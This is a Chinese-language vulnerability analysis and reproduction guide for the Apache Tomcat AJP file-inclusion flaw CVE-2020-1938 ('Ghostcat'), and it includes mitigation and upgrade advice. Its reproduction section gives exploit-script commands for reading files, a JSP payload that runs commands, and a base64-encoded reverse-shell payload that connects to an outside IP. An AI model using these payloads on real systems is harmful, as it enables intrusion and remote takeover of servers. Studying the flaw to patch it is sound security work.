JAVA安全之CVE-2020-1938复现和分析
字数 1889 2025-08-11 17:40:12
Apache Tomcat AJP协议漏洞(CVE-2020-1938)分析与复现指南
一、漏洞概述
1.1 漏洞基本信息
- 漏洞名称: Apache Tomcat AJP协议文件读取/包含漏洞
- CVE编号: CVE-2020-1938
- 别名: Ghostcat漏洞
- 危险等级: 高危
- 漏洞类型: 文件读取/包含导致远程代码执行
1.2 漏洞影响范围
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6.x (所有版本)
1.3 漏洞前提条件
- Tomcat运行在受影响版本范围内
- AJP Connector处于开启状态(默认开启)
- 攻击者能够访问AJP服务端口(默认8009)
二、漏洞原理分析
2.1 AJP协议简介
AJP(Apache JServ Protocol)是Tomcat与前端Web服务器(如Apache HTTPD)通信的二进制协议,相比HTTP协议更高效。默认配置下,Tomcat会监听8009端口处理AJP请求。
2.2 漏洞成因
漏洞存在于Tomcat对AJP协议请求的处理过程中:
-
请求属性控制:
- 在
org.apache.coyote.ajp.AjpProcessor.prepareRequest()方法中,攻击者可以通过AJP协议控制request对象的属性 - 特别是可以控制以下三个关键属性:
javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path
- 在
-
文件读取路径控制:
- 在
org.apache.catalina.servlets.DefaultServlet中,通过控制上述三个属性可以操纵文件读取路径 getRelativePath()方法会根据这些属性构造最终的文件路径
- 在
-
文件包含执行:
- 当请求映射到
org.apache.jasper.servlet.JspServlet时,同样可以利用这些属性控制jsp文件的路径 - 导致可以包含并执行任意文件内容
- 当请求映射到
2.3 漏洞利用方式
2.3.1 任意文件读取
通过操纵AJP请求属性,可以读取Web应用目录下的任意文件,包括:
/WEB-INF/web.xml- 应用配置文件/WEB-INF/classes/- 编译后的Java类文件/WEB-INF/lib/- 依赖库文件
2.3.2 远程代码执行(RCE)
结合文件上传功能实现:
- 上传包含恶意JSP代码的文件(可以是任意格式,如.txt、.jpg等)
- 通过AJP漏洞包含该文件
- Tomcat会以JSP方式解析执行文件内容
三、漏洞复现
3.1 环境准备
3.1.1 漏洞环境搭建
- 下载受影响版本的Tomcat(如8.5.32):
https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip - 安装并配置JDK环境
- 启动Tomcat服务(默认会开启8009端口的AJP服务)
3.1.2 利用工具准备
下载漏洞利用脚本:
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
cd CNVD-2020-10487-Tomcat-Ajp-lfi/
chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py
3.2 漏洞利用演示
3.2.1 文件读取
读取WEB-INF/web.xml文件:
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 目标IP -p 8009 -f WEB-INF/web.xml
3.2.2 命令执行
- 上传包含恶意代码的文件(如test.txt)
- 使用文件包含POC执行命令:
python "文件包含(CVE-2020-1938).py" 目标IP -p 8009 -f /test.txt
示例恶意代码(执行ping命令):
<%
java.io.InputStream in = Runtime.getRuntime().exec("ping fiohed.dnslog.cn").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
3.2.3 反弹Shell
- 生成Base64编码的反弹Shell命令(使用在线工具如http://www.jackson-t.ca/runtime-exec-payloads.html)
- 构造JSP代码:
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
四、修复方案
4.1 临时缓解措施
-
关闭AJP服务:
- 编辑
conf/server.xml文件 - 注释或删除以下配置:
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> - 重启Tomcat服务
- 编辑
-
网络层限制:
- 使用防火墙限制8009端口的访问,仅允许可信IP访问
4.2 彻底修复方案
升级到安全版本:
- Tomcat 9.x 用户升级到 9.0.31+
- Tomcat 8.x 用户升级到 8.5.51+
- Tomcat 7.x 用户升级到 7.0.100+
五、参考资源
- 官方漏洞公告
- POC下载地址: https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
- Bash编码工具: http://www.jackson-t.ca/runtime-exec-payloads.html